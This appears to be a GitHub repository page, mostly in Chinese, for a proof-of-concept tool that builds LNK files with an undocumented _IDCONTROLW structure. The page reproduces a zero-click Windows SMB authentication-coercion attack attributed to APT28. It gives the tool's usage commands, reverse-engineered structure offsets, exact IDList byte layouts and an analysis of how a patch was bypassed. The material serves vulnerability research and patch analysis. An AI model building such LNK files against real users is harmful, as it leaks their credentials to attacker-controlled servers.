virus-or-not/CVE-2026-32202
GitHub: virus-or-not/CVE-2026-32202
针对 Windows Shell 未公开结构 _IDCONTROLW 的逆向研究工具,通过构造恶意 LNK 文件复现零点击 SMB 认证强制攻击并分析补丁绕过。
Stars: 0 | Forks: 0
# PoC
```
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
```
## 逆向工程 `_IDCONTROLW`:重构未公开的 shell32.dll 结构
## 背景
APT28 利用 Windows Shell (`shell32.dll`) 中的一个漏洞,通过构造一个恶意的 `.lnk` 文件实施攻击,该文件包含一个 `LinkTargetIDList`,其中嵌入了位于未公开 `_IDCONTROLW` 结构内的 UNC 路径。这会导致 `explorer.exe` 无需用户交互(零点击)即可向攻击者控制的服务器发起 SMB 连接。
在公开的 Windows SDK 以及 Microsoft 针对 `shell32.dll` 公开的 PDB 符号中,**均未提供** `_IDCONTROLW` 结构的文档。本报告记录了通过 IDA Pro 进行静态分析来重构该结构的过程。
## LinkTargetIDList 结构概述
根据 [MS-SHLLINK](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/881d7a83-07a5-4702-93e3-f9fc34c3e1e4),`LinkTargetIDList` 包含一个标准的 `IDList` —— 这是一个由可变长度 `ItemID` 条目组成的数组,以 2 字节的 null 结尾。
在 APT28 的漏洞利用中,IDList 恰好包含三个条目:
| 索引 | 内容 |
|-------|----------|
| `IDList[0]` | CLSID `{26EE0668-A00A-44D7-9371-BEB064C98683}` — 控制面板根目录 |
| `IDList[1]` | `CControlPanelCategoryFolder` 项 — “所有控制面板项”(类别 0) |
| `IDList[2]` | `_IDCONTROLW` — 带有嵌入 UNC 路径的 CPL 小程序条目 |
这解析为以下虚拟路径:
```
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL entry}
```
## 方法论
由于公开的 PDB 符号中没有 `_IDCONTROLW`,因此通过在 IDA Pro 中从 `CControlPanelFolder::GetUIObjectOf`(负责在 Explorer 中渲染控制面板项的函数)开始追踪调用链来进行重构。
## 调用链分析
### 入口点:`CControlPanelFolder::GetUIObjectOf`
当 Explorer 渲染包含恶意 LNK 的文件夹时,它会调用 `GetUIObjectOf` 为 CPL 项提取图标。这会触发以下调用链:
```
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW triggered here (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← detects _IDCONTROLW
```
### `_IsUnicodeCPLWorker` —— 结构验证
```
const struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
```
这揭示了偏移量 `+0x0D = 0x6A` 处的 **Unicode 标记**。
### `CControlPanelFolder::GetModule` —— 字段访问
```
// Unicode path read from offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// ANSI fallback reads from offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
```
这证实了 Unicode 路径(`ModulePath`)起始于 `+0x18`。
### `_IDControlCreateW` —— 结构构建
```
int __userpurge _IDControlCreateW@(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) in bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // total data size
v11 = ILCreate(v10 + 26); // alloc: data + 0x1A header
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// strings written at +0x18
}
```
## 重构的 `_IDCONTROLW` 结构
```
struct _IDCONTROLW {
WORD cb; // +0x00 size of entire structure (including cb itself)
WORD pad1; // +0x02 padding, always 0
DWORD dwAppletID; // +0x04 applet ID (negative for registered CPL, e.g. -201 = 0xFFFFFF37)
WORD pad2; // +0x08 always 0 (checked by _IsUnicodeCPLWorker)
WORD pad3; // +0x0A always 0 (checked by _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C always 0 (checked by _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — Unicode CPL marker
WORD pad5; // +0x0E padding
DWORD pad6; // +0x10 padding
WORD cchModule; // +0x14 length of ModulePath in WCHARs (including null terminator)
WORD offName; // +0x16 offset of Name from start of data[] in WCHARs
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
```
### 字段参考表
| 偏移量 | 大小 | 字段 | 值 / 备注 |
|--------|------|-------|---------------|
| `+0x00` | `WORD` | `cb` | 结构总大小 |
| `+0x02` | `WORD` | `pad1` | 0 |
| `+0x04` | `DWORD` | `dwAppletID` | 小程序 ID(例如 `0xFFFFFF37` = `-201`) |
| `+0x08` | `WORD` | `pad2` | 0 —— 由 `_IsUnicodeCPLWorker` 验证 |
| `+0x0A` | `WORD` | `pad3` | 0 —— 由 `_IsUnicodeCPLWorker` 验证 |
| `+0x0C` | `BYTE` | `pad4` | 0 —— 由 `_IsUnicodeCPLWorker` 验证 |
| `+0x0D` | `BYTE` | `typeFlag` | `0x6A` —— Unicode 标记 |
| `+0x0E` | `WORD` | `pad5` | 0 |
| `+0x10` | `DWORD` | `pad6` | 0 |
| `+0x14` | `WORD` | `cchModule` | `wcslen(ModulePath) + 1` |
| `+0x16` | `WORD` | `offName` | `cchModule`(Name 紧随 ModulePath 之后) |
| `+0x18` | `WCHAR[]` | `data[]` | `ModulePath\0Name\0InfoTip` (UTF-16LE) |
## 对比:`_IDCONTROL` vs `_IDCONTROLW`
ANSI 版本(`_IDCONTROL`)由 `_IDControlCreateA` 创建,并使用不同的内存布局:
```
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
```
主要区别:
| 属性 | `_IDCONTROL` (ANSI) | `_IDCONTROLW` (Unicode) |
|----------|---------------------|------------------------|
| 头部大小 | `0x0C`(12 字节) | `0x18`(24 字节) |
| 字符串编码 | ANSI (`char`) | UTF-16LE (`WCHAR`) |
| Unicode 标记 | 缺失 | `+0x0D = 0x6A` |
| 检测方式 | `_IsUnicodeCPLWorker` 返回 `nullptr` | 返回指针 |
| 路径起始偏移量 | `+0x0C` | `+0x18` |
## IDList 组成
### IDList[0] —— 控制面板根目录(CLSID `{26EE0668-...}`)
```
1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
```
类型 `0x1F` = 带有 CLSID 的根 shell 项。
### IDList[1] —— “所有控制面板项”(类别 0)
由 `CControlPanelCategoryFolder::CreateIDList` 重构:
```
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // magic identifier
v5[2] = 0; // category index = 0
```
二进制数据:
```
0C 00 01 00 84 21 DE 39 00 00 00 00
```
### IDList[2] —— 带有 UNC 路径的 `_IDCONTROLW`
以 `\\192.168.1.31\share\test.cpl` 为例:
```
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
```
## 漏洞代码路径
**未打补丁**版本中的漏洞触发链:
```
Explorer renders folder
→ CControlPanelFolder::GetUIObjectOf (icon extraction request)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← SMB connection initiated HERE
```
Microsoft 的补丁(CVE-2026-21510)引入了 `ControlPanelLinkSite`,它通过 `IVerifyingTrust::OnVerifyingTrust` 增加了 SmartScreen 验证 —— 但这仅在 `ShellExecuteExW` 阶段进行。位于调用链更早阶段的 `GetModuleMapped` 中的 `PathFileExistsW` 调用并未得到处理,导致 CVE-2026-32202(身份验证强制)在后续更新之前一直处于未修复状态。
## **免责声明**
本仓库中提供的信息仅用于**教育和信息参考目的**。**作者不认可对所提供材料的任何非法、恶意或不道德的使用,也不对此承担责任。** 所讨论的技术和概念不应在未经适当授权的情况下应用于任何系统或网络。**作者对因滥用此信息而造成的任何损害、法律后果或损失概不负责。** 鼓励读者在网络安全实践中遵守所有适用的法律法规和指导原则。
标签:0-Click, APT28, CPL小程序, CVE-2026-21510, CVE-2026-32202, DAST, Explorer.exe, IDA Pro, _IDCONTROLW, LNK文件解析, PoC, Python, shell32.dll, Shell Spoofing, SMB协议, UNC路径, Windows漏洞, 云安全监控, 云资产清单, 恶意软件分析, 搜索语句(dork), 无后门, 暴力破解, 未公开结构体, 漏洞分析, 网络安全, 补丁分析, 路径探测, 逆向工具, 逆向工程, 隐私保护, 零点击漏洞, 静态分析